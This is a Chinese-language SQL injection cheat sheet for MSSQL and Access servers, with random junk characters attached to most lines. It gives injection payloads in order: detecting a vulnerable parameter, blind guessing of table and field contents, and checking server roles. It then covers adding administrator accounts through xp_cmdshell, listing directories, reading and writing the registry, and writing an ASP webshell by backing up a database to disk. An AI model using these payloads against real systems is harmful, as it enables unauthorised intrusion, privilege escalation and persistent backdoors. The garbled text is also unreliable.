1.判断是否有注入;and 1=1 ;and 1=2 k$ 4y9{
2.初步判断是否是mssql ;and user>0 vLv@&lMW
ef8s<5"4
3.注入参数是字符'and [查询条件] and ''=' AHD=<7Rs
]0Y4U7W
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ,82S=N5V!
A!od9W6
5.判断数据库系统 52@C9Q,
/K+r?
]kf
;and (select count(*) from sysobjects)>0 mssql rJ`!: f
p)KheLiZ
;and (select count(*) from msysobjects)>0 access { }:#G
1h^:[[!c
m]'#t)B_m
"IZa!eUW
6.猜数据库 ;and (select Count(*) from [数据库名])>0 0pZ4BZdT|
]&o$b ]
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ;;!yC
NxkGOAOE
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ..IfP@
d2*fLEsF
9.(1)猜字段的ascii值(access) X:A^<L
~
L^r#o-H<
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 4V{:uuI;f
[]\+k31D
(2)猜字段的ascii值(mssql) $iN"9N%l
]Z>}6!
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Yk'XGr)
y`L>wq,KU
10.测试权限结构(mssql) 8EZ$g<}
|tKsgj
g{7.r-uu
Xc =Y
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- MU($|hwiL
_('=b/
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- qEyyT[:
Z_LFIz*c
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ^P[e1?SZG
PIJr{6B/PA
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- K%,2=.
4.k0<
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 4)S,3G
.UQzPnK
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ;0Q4<F
0.\/\V:H6
;and 1=(select IS_MEMBER('db_owner'));-- 1jx:;j
S.mG?zbw
*^\Ef4Lh
-z
ID x
11.添加mssql和系统的帐户 ny]?I
:,3C 0T3r
;exec master.dbo.sp_addlogin username;-- =-0/k;^
;exec master.dbo.sp_password null,username,password;-- )%`c_FL@N=
&DS/v)]
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- g&^quZ"H
+G$4pt|=
;exec master.dbo.xp_cmdshell 'net user username password >f|||H}Snw
Ryl:a\
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- "SNn^p59k
|'e^QpU5
;exec master.dbo.xp_cmdshell 'net user username password /add';-- Q{O+
Giid~e33
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- S){)Z
rF3wx.
!eGC6o}f
.ODU
12.(1)遍历目录 y;4OY
4(#'_jS
;create table dirs(paths varchar(100), id int) 1NbG>E#Ol
R6 y#S&]x
;insert dirs exec master.dbo.xp_dirtree 'c:\' ^+*N%yr
D.r<QO~6B
;and (select top 1 paths from dirs)>0 2+RUTOv/d
VRVO-Sk
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) M f}~{+
Rm2yPuOU}A
~G)S
[xK3F+
(2)遍历目录 B+$%*%b
E7WK
(
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- >Ifr [
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 I:E`PZ
C+*d8_L
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 B~?*?Z'
EZgq ?l~5O
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 cF\;_0u
5u,{6
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 C0sX gM
Vouvr<43o
g!|=%(G=
k
9_`(nx
13.mssql中的存储过程 $CRm3#+
~
<KJ/<0l
xp_regenumvalues 注册表根键, 子键 el&0}`K
{IjF+@I
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 bc7/V#W
3BzNi'
xp_regread 根键,子键,键值名 !-g{[19\
]dF
,:8
;exec xp_regread <S5BDk
UgRhWV~f0
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
|{&{
d}OTO10
xp_regwrite 根键,子键, 值名, 值类型, 值 ,xw#NG6
imVo<Je7z(
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 UI0(=>L
;RH;OE,A
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 2my_ ;!6T[
8mCxn@yV
xp_regdeletevalue 根键,子键,值名 EHSlK5bD,
OP;v bZ
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 _Mi5g_
N(O9&L*4fm
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 _;W.q7b]
{k(g]#pP
hMa]B*o/-
y>S.?H:P
14.mssql的backup创建webshell W}nlRbN?
50"pbzW
use model dSLU>E3g
;Y)w@bNt@
create table cmd(str image); bAdn &
ov|d^)'
insert into cmd(str) values (''); 3D6RLu
x!hh"x
backup database model to disk='c:\l.asp'; _PPy44r2
jY&k
uY0lR:|
T!uM+6|Y
15.mssql内置函数 QER?i;-wb
H
h4WMZJG
;and (select @@version)>0 获得Windows的版本号 at @G/?
*$#W]bO
;and user_name()='dbo' 判断当前系统的连接用户是不是sa <g-9T -Ky
.Q<>-3\K
;and (select user_name())>0 爆当前系统的连接用户 "x%Htq@
nz%DM<0$
;and (select db_name())>0 得到当前连接的数据库 %J#YM'g
G3C~x.(f
"RedK '7g
/9 3M*b
16.简洁的webshell ;:iY) }
8bxfj<O,
use model O8^A5,2@3>
,yC-+VL
create table cmd(str image); ;i4Q|
S Q@y;|(
insert into cmd(str) values (''); x;w6na
CJtcn_.F
backup database model to disk='g:\wwwtest\l.asp';